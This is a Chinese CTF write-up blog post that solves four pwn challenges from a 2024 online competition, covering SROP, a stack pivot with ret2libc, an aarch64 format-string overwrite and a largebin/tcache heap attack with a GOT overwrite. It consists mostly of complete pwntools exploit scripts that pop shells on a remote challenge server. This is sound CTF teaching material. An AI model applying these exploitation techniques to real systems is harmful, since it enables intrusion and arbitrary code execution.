2024御网线上Pwn方向题解

ASM

Checksec检查保护

基本上保护都关闭了

64位ida逆向

程序只有一段,并且返回地址就是输入的数据,看起来就是srop了,找一下可以用的gadget

通过异或清空rax值,然后通过异或ecx和1,异或rax和rcx即可增加rax的值,同理左移一位同样可以增加rax的值,将rax增加到0xf然后打srop,程序还给出了/bin/sh

EXP:

1.from gt import *
2.
3.con("amd64")
4.
5.#io = process("./asm")
6.io = remote('101.200.58.4',10001)
7.#gdb.attach(io)
8.#pause()
9.sh = 0x40200A
10.syscall = 0x40102D
11.xor_rax = 0x000000000040103D  #xor     rax, rax
12.shl_rax = 0x0000000000401030  #shl     rax, 1
13.mov_ecx  = 0x0000000000401034 #: mov ecx, 1 ; xor rax, rcx ; ret
14.elf = ELF('./asm')
15.system =SigreturnFrame()
16.system.rax=0x3b
17.system.rdi=sh
18.system.rsi=0x0
19.system.rdx=0x0
20.system.rip=syscall
21.payload =p64(xor_rax)+ p64(mov_ecx)+p64(shl_rax)+ p64(mov_ecx)+p64(shl_rax)+ p64(mov_ecx)+p64(shl_rax)+ p64(mov_ecx)
22.payload +=p64(syscall)+flat(system)
23.#gdb.attach(io)
24.io.sendline(payload)
25.io.interactive()

 

Ret

Checksec 检查保护

基本上也是啥都没有开

那么直接64位ida逆向

程序主要是播散时间种子,然后随机数取值在0-160之间,当大于等于144时候才会溢出到返回地址,因此进行栈迁移,同样控制了rbp就可以控制rdx

那样就可以一直溢出了,然后打ret2libc,当然随机数需要一点运气

EXP:

1.from gt import *
2.
3.con("amd64")
4.
5.#io = process("./ret")
6.io = remote("101.200.58.4",10004)
7.libc = ELF("./libc.so.6")
8.#gdb.attach(io)
9.
10.
11.def pwn():
12.    io.sendafter("ask?",'flag')
13.
14.    #gdb.attach(io)
15.    io.recvuntil("ok,")
16.    num = int(io.recv(3),10)
17.    print("---------------------------",num)
18.    if num <144:
19.        return
20.    io.recvuntil("number\n")
21.    #num = io.recv(3)
22.    #print(num)
23.    bss = 0x601280 + 0x300 
24.    lv = 0x400891
25.    read = 0x400876
26.    pop_rdi = 0x0000000000400923#: pop rdi; ret;
27.    puts_got = 0x601018
28.    puts_plt = 0x400600
29.    payload = b'a'*0x80 + p64(bss) + p64(read)
30.    #sleep(1)
31.    #gdb.attach(io)
32.    io.send(payload)
33.
34.
35.pwn()
36.pop_rdi = 0x0000000000400923#: pop rdi; ret;
37.puts_got = 0x601018
38.puts_plt = 0x400600
39.bss = 0x601280 + 0x300 
40.payload = b'a'*0x80 +p64(bss+4) + p64(0x400873)#p64(pop_rdi) + p64(puts_got) + p64(puts_plt) #+ p64()
41.io.send(payload)
42.ret = 0x6012a8
43.payload = b'a'*0x84 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(0x400876)
44.io.send(payload)
45.libc_base = u64(io.recv(6).ljust(8,b'\x00')) - libc.sym["puts"]
46.suc("libc_base",libc_base)
47.pop_rsi = 0x0000000000400921#: pop rsi; pop r15; ret; 
48.system = libc_base + libc.sym["system"]
49.binsh = libc_base + next(libc.search("/bin/sh"))
50.payload = b'a'*(0xa4-8) + p64(pop_rdi+1)+p64(pop_rdi) + p64(binsh) + p64(pop_rsi)+p64(0)*2+ p64(system)
51.
52.io.send(payload)
53.io.interactive()

normal pwn

看名字就知道可能是异架构

Checksec 检查保护

Arrch架构,保护全开

Ida逆向一下

初看是一个堆题目

上来给了stderr地址,那么可以得到elf的基地址

 

Show函数没有格式化,存在格式化字符串漏洞

同样存在后门

那么思路很清晰通过格式化字符串泄露stack地址,然后再修改返回地址为后门

效果如下

EXP:

1.from gt import *
2.
3.con("aarch64")
4.
5.#io = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/arm-linux-gnueabihf", "./pfdata"])
6.#io =process("./pfdata")
7.io = remote("101.200.58.4",5555)
8.
9.elf = ELF("./pfdata")
10.io.recvuntil("stderr ")
11.base = int(io.recv(10),16) - 0x12128 
12.def add(index,size):
13.    io.sendlineafter("choice: ",'97')
14.    io.sendlineafter("index: ",str(index))
15.    io.sendlineafter("size: ",str(size))
16.
17.
18.def show(index):
19.    io.sendlineafter("choice: ",'115')
20.    io.sendlineafter("index: ",str(index))
21.
22.
23.
24.def edit(index,msg):
25.    io.sendlineafter("choice: ",'101')
26.    io.sendlineafter("index: ",str(index))
27.    io.sendafter("content: ",msg)
28.
29.
30.add(0,0x68)
31.edit(0,"%9$p")
32.show(0)
33.io.recvuntil("content: ")
34.elf_base = int(io.recv(12),16) -0xea0
35.suc("elf_base",elf_base)
36.backdoor = elf_base + 0xd40
37.edit(0,"%8$p")
38.show(0)
39.io.recvuntil("content: ")
40.ret =  int(io.recv(12),16) -0x18
41.payload = b"%"+str(ret&0xffff).encode("utf-8")+b"c%8$hn"
42.edit(0,payload)
43.show(0)
44.
45.payload = b"%"+str(backdoor&0xffff).encode("utf-8")+b"c%12$hn"
46.edit(0,payload)
47.show(0)
48.
49.io.interactive()

no fmtstr

Checkse检查保护

没有开pie和got全保护

64位ida逆向

 

是个堆题目,先把函数名改了

申请堆块有限制,大小在largebin范围内

Free函数存在UAF

存在后门

还有一点就是做了检查,导致不能伪造stderr等结构体

那么可以通过largebin泄露 libc和heap地址,然后通过largebin attack 修改 mp_结构体,那么就可以free chunk进入到tcachebin里面,然后劫持指针修改got表

这里发现从write 或者setbuf的got开始修改效果好一点,不然可能由于地址问题会报错,期间会覆盖system got表,注意不要覆盖了。

1.from gt import *
2.
3.con("amd64")
4.io = process("./fmt")
5.#io = remote("101.200.58.4",2222)
6.libc =ELF("./libc.so.6")
7.
8.
9.def add(index,size):
10.    io.sendlineafter(">","1")
11.    io.sendlineafter("Index: ",str(index))
12.    io.sendlineafter("Size: ",str(size))
13.
14.
15.
16.
17.def free(index):
18.    io.sendlineafter(">","2")
19.    io.sendlineafter("Index: ",str(index))
20.
21.
22.def edit(index,msg):
23.    io.sendlineafter(">","3")
24.    io.sendlineafter("Index: ",str(index))
25.    io.sendafter("Content: ",msg)
26.
27.
28.def show(index):
29.    io.sendlineafter(">","4")
30.    io.sendlineafter("Index: ",str(index))
31.
32.add(0,0x540) 
33.add(1,0x528)
34.add(2,0x530)
35.free(0)
36.add(3,0x550)
37.edit(0,'a')
38.#gdb.attach(io)
39.show(0)
40.io.recvuntil("Content: ")
41.libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x61 - 0x1f7100
42.suc("libc_base",libc_base)
43.stderr = libc_base + libc.sym["stderr"]
44.system = libc_base + libc.sym["system"]
45.mp_ = libc_base + 0x1F63B0
46.suc("mp_",mp_)
47.edit(0,b'a'*0x10)
48.show(0)
49.io.recvuntil("a"*0x10)
50.heap_base = u32(io.recv(4)) -0x290
51.suc("heap_base",heap_base)
52.
53.payload = p64(heap_base + 0x290)*2 + p64(libc_base + 0x1f7100) + p64(mp_ -1 -0x20)
54.edit(0,payload)
55.free(2)
56.add(4,0x560)
57.add(5,0x560)
58.add(6,0x560)
59.edit(5,'aaa')
60.edit(6,'bbb')
61.free(5)
62.free(6)
63.key = (heap_base + 0x2000) >> 0xc
64.backdoor = 0x4011D6
65.write = 0x404020
66.system = 0x4010A0 +6
67.edit(6,p64(write ^ key))
68.add(7,0x560)
69.add(8,0x560)
70.
71.edit(8,p64(system)*4+p64(backdoor))
72.#gdb.attach(io)
73.io.sendlineafter(">","4")
74.
75.io.interactive()

posted @ 2024-11-01 21:24  CH13hh  阅读(34)  评论(0编辑  收藏  举报